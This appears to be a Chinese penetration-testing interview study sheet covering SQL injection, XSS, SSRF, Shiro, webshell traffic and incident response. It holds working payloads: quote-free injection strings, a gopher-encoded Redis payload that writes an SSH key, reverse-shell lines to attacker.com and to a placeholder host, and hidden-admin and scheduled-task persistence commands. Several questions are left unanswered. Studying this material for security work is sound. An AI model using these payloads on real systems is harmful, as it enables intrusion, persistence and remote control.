网安面试题
1.sql注入的基本原理
web应用把用户输入当成 SQL 语句的一部分执行,导致攻击者能插入、修改或扩展原本的 SQL 逻辑
2.sql注入如何修复
- 参数化查询
- 白名单
- 输出编码
- 最小化权限
- WAF
3.sql注入单引号被过滤怎么进行注入
1.使用16进制字符串
在注入类型为数字型时无需考虑单引号
0x61646d696e = 'admin'
0x27 = ''' (单引号也能这样写)
2.使用char()构造字符串
有可能是双引号闭合
3.使用 REGEXP / LIKE 搜索型逃逸
如原语句为:
WHERE name LIKE '%$kw%'
构造:
% OR 1=1--
% AND (SELECT 1 FROM dual)--
4.报错注入可能会用到的函数
报错函数
- extractvalue()
- updatexml()
- exp()
# 触发原因:参数过大导致浮点溢出
- floor()
# 常用 **floor + rand + group by 报错注入**。
# 原理:rand() 在 group by 时生成重复键,触发 Duplicate entry 错误
- pow()
- round()
示例:
exp():
SELECT exp(~(SELECT * FROM (SELECT database())x));
floor():
SELECT COUNT(*), FLOOR(RAND(0)*2)
FROM information_schema.columns
GROUP BY CONCAT(database());
pow():
SELECT pow(999999999, (SELECT LENGTH(database())));
5.过滤单引号如何判断存在注入
过滤单引号 ' 只影响 字符型注入,但不影响以下:
- 数字型注入
- 布尔盲注(数字)
- 基于函数的报错注入(无需引号)
- 逻辑表达式注入
- 预期类型不严格的场景(如 id=1abc 也能执行)
方法 1:数字型 payload 观察响应差异
方法 2:利用无引号布尔表达式
即使过滤 ',布尔表达式仍然可用:
?id=1 AND 1=1
?id=1 AND 1=2
如果:
- 第一个正常返回
- 第二个返回报错或无数据
则存在注入。
如果过滤了 and / or,仍可用逻辑运算符:
?id=1 && 1=1
?id=1 && 1=2
?id=1 || 1=1
?id=1 || 1=2
方法 3:利用数学异常判断注入
不需要引号,基于数学溢出触发报错:
?id=1/(SELECT 0)
?id=exp(999999999)
?id=pow(99999,99999)
方法 4:利用 MySQL 报错函数
核心优势:所有 payload 不包含 '
eg:
?id=1 AND updatexml(1,concat(0x7e,database(),0x7e),1)
如果返回:
XPATH syntax error: ~testdb~
方法 5:利用 # sleep() 时间盲注判断注入
时间差明显 → 存在注入
?id=1 AND sleep(5)
绕过过滤:
?id=1&&sleep(5)
?id=1%26%26sleep(5)
?id=1/**/sleep(5)
?id=1 or sleep(5)
6.sql注入如何判断存在注入
7.如何使用and判断存在注入
回显不同时,可能存在注入
1 and 1=1
1 and 1=2
8.sql注入如何提权,提权的条件是什么
若要提权,必须满足条件:
- 数据库用户权限足够高(关键条件)
- 数据库配置未做安全限制(如file_priv)
- 系统有接口可被数据库调用(如 xp_cmdshell、UDF、CLR 等)
sqlmap想要os-shell的条件:
- file权限
- 已知web绝对路径
- 堆叠注入
9.mysql5.0以上和以下的区别是什么,在sql注入中会有什么不一样
- information_shchema首次加入
- 报错函数
- 加入安全限制,如file_priv
- 子查询限制变少
- UDF 提权方式不同
10.xss三个类型的区别
反射性和dom型的区别:
反射型恶意payload来自用户输入,然后服务器把这部分拼接到html响应里返回给用户,在没有过滤和拦截的情况下,会执行用户输入的恶意代码
dom型不经过服务器,在js代码操作dom时动态更新
特征:
• payload 不经过服务器返回,问题完全 发生在浏览器端 JavaScript。
• 恶意内容来自 location.href / location.hash / document.cookie / localStorage 等。
• 不需要页面刷新,即可通过 JS 动态更新 DOM 触发。
• 通常无法在服务端日志中直接看到 payload
11.xss常见事件标签
<script>
<img>
<a>
<iframe>
<form>
12.xss漏洞怎么修复
- 在输出时进行正确的转义(Escape)
- 在输入时进行格式限制(Validation)
- 避免在前端直接拼接 HTML
- 使用安全 API / 库
- 白名单
13.ssrf漏洞原理,以及使用改漏洞怎么打内网
一句话原理:
应用服务器允许用户提交一个“URL”,并由服务器自己去访问这个 URL。
攻击者控制 URL,就能让服务器去访问任意地址,包括 内网(127.0.0.1 / 10.x / 172.x / 192.168.x),甚至访问敏感服务(Redis、Memcache、FastCGI、Gopher 等)。
常见 SSRF 攻击 payload:
http://127.0.0.1/
http://localhost/
http://0/
http://2130706433/ # 绕过过滤的整数形式
http://127.0.0.1:22/
http://169.254.169.254/latest/meta-data/ # 云环境敏感元数据
gopher://127.0.0.1:6379/_.... # 攻击 Redis
dict://127.0.0.1:11211/
ftp://127.0.0.1:21/
file:///etc/passwd
ssrf通过gopher协议+redis拿到rce:
- 存在 SSRF ,且能发起 gopher:// 请求
- Redis 未开启认证
gopher://127.0.0.1:6379/_INFO
# 返回
# Server
redis_version:
- Redis 有写权限
- SET
- CONFIG SET
- SAVE
- Redis 能将文件写入 Web 目录或系统目录
Gopher payload
命令:
redis-cli -h target
> CONFIG SET dir /root/.ssh/
> CONFIG SET dbfilename authorized_keys
> SET sshkey "\n\nssh-rsa AAAAB3... your@email.com\n\n"
> SAVE
payload:
*1\r\n$8\r\nflushall\r\n
*3\r\n$3\r\nset\r\n$1\r\n1\r\n$62\r\n\n\nssh-rsa AAAAB3...your@email.com\n\n\r\n *4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$13\r\n/root/.ssh/\r\n *4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$15\r\nauthorized_keys\r\n
*1\r\n$4\r\nsave\r\n
然后 URL 编码并放入 Gopher URL:
gopher://target_redis_ip:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2462%0d%0a%0a%0a==ssh-rsa%20AAAAB3...%20your%40email.com==%0a%0a%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a%2froot%2f.ssh%2f%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%2415%0d%0aauthorized_keys%0d%0a*1%0d%0a%244%0d%0asave%0d%0a
14.php的ssrf漏洞和java的ssrf漏洞的区别
| 语言 | 支持的协议(常见函数/类) | 是否支持 Gopher / Dict 等非 HTTP 协议 |
|---|---|---|
| PHP | file_get_contents(), fopen(), curl_exec() | ✅ 默认支持 gopher://, dict://, file://, ftp:// 等(取决于 allow_url_fopen 和 cURL) |
| Java | HttpURLConnection, Apache HttpClient, OkHttp, Spring RestTemplate | ❌ 通常仅支持 HTTP/HTTPS; 少数库(如低版本 Apache HttpClient)可能支持 file://,但 不支持 gopher:// 或 dict:// |
PHP 防御难点:
- 即使过滤
http://,攻击者仍可用gopher://、dict://。 filter_var($url, FILTER_VALIDATE_URL)无法阻止非 HTTP 协议。- 需手动白名单协议和域名。
Java 防御优势:
- 主流 HTTP 客户端(如 OkHttp、RestTemplate)默认只处理 HTTP/HTTPS。
- 更容易通过配置禁止非预期协议。
- 可统一在网络层(如 WAF)拦截内网 IP 访问。
| 维度 | PHP SSRF | Java SSRF |
|---|---|---|
| 协议支持 | 广泛(gopher/dict/file/ftp) | 狭窄(通常仅 HTTP/HTTPS) |
| RCE 能力 | ✅ 强(可直接打 Redis/FastCGI) | ❌ 弱(需配合其他漏洞) |
| 利用复杂度 | 低(工具自动化,如 Gopherus) | 高(多用于探测或元数据泄露) |
| 防御重点 | 协议白名单 + 输入校验 | URL 校验 + 禁止访问内网 IP |
15.ssrf漏洞在云上的资产怎么利用
阶段 1:利用 SSRF 打 Metadata Service
阶段 2:使用 AK/SK → 直接访问云 API
阶段 3:横向移动
阶段 4:获取持久权限
16.shiro550漏洞和shiro721漏洞,原理和区别以及官方的修复方案
17.550和721如何做waf的绕过
分段传输 / 流量伪装
使用非标准编码或填充
- 控制请求频率,模拟人工操作。
Shiro-721 的本质是 Shiro 在处理 URL 时,对分号;(semicolon)作为路径参数分隔符的处理不当,导致权限校验绕 - URL 编码:
%3B - 双重 URL 编码:
%253B - Unicode 编码:
%u003b(部分容器支持) - 大小写混淆:
%3bvs%3B
18.java和php代码审计
19.在爆破密码时出现验证码怎么做
20.burp验证码插件的原理
21.权限维持win和linux
二、常见合法授权场景下的技术手段(按平台分类)
✅ Windows 系统
- 创建隐藏用户
net user hidden$ P@ssw0rd123 /add /active:yes
net localgroup administrators hidden$ /add
- 用户名带
$可在部分界面隐藏。
- 注册表启动项
- 写入
HKCU\Software\Microsoft\Windows\CurrentVersion\Run,指向恶意程序。
- 计划任务(Scheduled Task)
schtasks /create /tn "UpdateTask" /tr "C:\malware.exe" /sc hourly /mo 1
- 服务安装
- 使用
sc create创建自启服务(需高权限)。
✅ Linux 系统
- SSH 公钥写入
chmod 600 ~/.ssh/authorized_keys
- Cron 定时任务
echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1" | crontab -
- 系统服务(Systemd)
- 创建
/etc/systemd/system/update.service,设置ExecStart为反弹 shell。
✅ Web 应用层
- 植入 Webshell
- 上传 PHP/JSP/ASPX 一句话木马(需文件上传漏洞)。
- 修改合法页面
- 在首页或 JS 文件中插入
<img src=x onerror=eval(...)>。
- 在首页或 JS 文件中插入
- 利用数据库 UDF
- MySQL 中创建
sys_eval()函数执行系统命令(需 root 权限)。
- MySQL 中创建
- 内存马(无文件落地)
- Java:注入 Tomcat Valve、Spring Controller;
- .NET:HttpModule 动态注册
22.各个数据库的端口
- mysql 3306
- postgresql 5432
- sqlserver 1433
- oracle 1521
- redis 6379
23.gopher协议
Gopher 是一种早期互联网协议,常在安全测试中特别重要,因为 SSRF 利用时可以用 Gopher 进行任意 TCP payload 构造。(常用端口70)
Gopher URL格式
标准格式:
gopher://host:port/_<payload>
注意两个关键点:
- 用于告诉 URL 解析器:后面内容保持原样
- payload 必须 URL 编码
示例:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aSET%0d%0a...
常见用途:
- 打 Redis(写 SSH 公钥、RDB 文件)
- 打 MySQL(构造认证握手)
- 打 HTTP 服务(构造任意请求)
- 打 FastCGI(远程执行 PHP)
- 打内部 RPC 服务
SSRF + Gopher 攻击 Redis
示例 payload(写 crontab 反弹 shell):
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$5%0d%0aabcde%0d%0a$10%0d%0a* * * * * bash -i >& /dev/tcp/xxx/4444 0>&1%0d%0a
24.主流webshell的流量特征
蚁剑:
@ini_set("display_errors", "0")用来关闭错误显示,避免错误信息暴露给攻击者。@set_time_limit(0)用来设置脚本执行时间无限制,这意味着 WebShell 可以长时间运行,常用于 反向连接 或 持久化连接。
冰蝎
动态密钥:首次请求返回 AES 密钥(隐藏在 Cookie 或响应头中)
支持内存马
没有密钥和偏移量:
如果 解密出内容,那么这个 WebShell 就是 冰蝎,因为冰蝎的加密方式是 固定密钥
加密的请求和返回数据:
哥斯拉
1.强特征cookie最快后面会带有分号,
2.数据包中存在两个参数pass,key
25.中了挖矿病毒如何溯源
先确定是否真的中挖矿:
1. CPU/GPU 异常
linux:
top
ps -aux | sort -k3 -nr | head
Windows:
taskmgr
Get-Process | Sort CPU -Descending
二、核心溯源策略(按攻击链回溯)
溯源目的:
找到 “攻击入口 → 提权方式 → 持久化点 → 控制服务器 → 下载源”。
整个过程必须按时间线反查。
三、Linux 详细溯源步骤
1. 查看挖矿进程父进程(关键)
大部分挖矿木马会由 downloader 启动。
ps -o pid,ppid,cmd -p <suspect_pid>
如果 PPID 显示:
-
bash(说明是 shell 执行)
-
systemd(说明有持久化)
-
cron(说明是定时任务)
-
python /tmp/*(说明临时脚本)
-
/usr/bin/wget 或 curl(说明是下载器)
2. 查看历史命令(判断攻击入口)
3. 从 /var/log/auth.log 查 SSH 入侵
4. 检查 cron 持久化
crontab -l
ls -al /etc/cron*
26.框架漏洞的rce
- ThinkPHP 5 RCE
- Struts2 RCE
- Log4j
- Fastjson
- PHP eval 注入
- SSTI(Jinja2、Twig、Velocity)
27.只开放80端口的攻击思路
路径 A:上传漏洞 → WebShell → 提权 → 内网横移
路径 B:SQL 注入 → 写 WebShell → RCE
路径 C:SSRF → 打 Redis / FastCGI → Getshell
路径 D:后台弱密码 → 模板恶意代码 → Getshell
路径 E:信息泄露(.git) → 源码 → 分析漏洞 → RCE
28.溯源的步骤
发现异常 → 确认木马 → 现场取证 → 时间线还原 → 查找入口 → 查找提权方式 → 查找横向移动 → 确定控制端/IP → 处置与加固
主机上机排查-网络连接排查
主机上机排查-杀毒软件扫描
主机上机排查-异常计划任务排查
主机上机排查-隐藏用户排查:wmic useraccount get name,SID
主机上机排查-异常进程启动排查: netstat -ano | findstr ip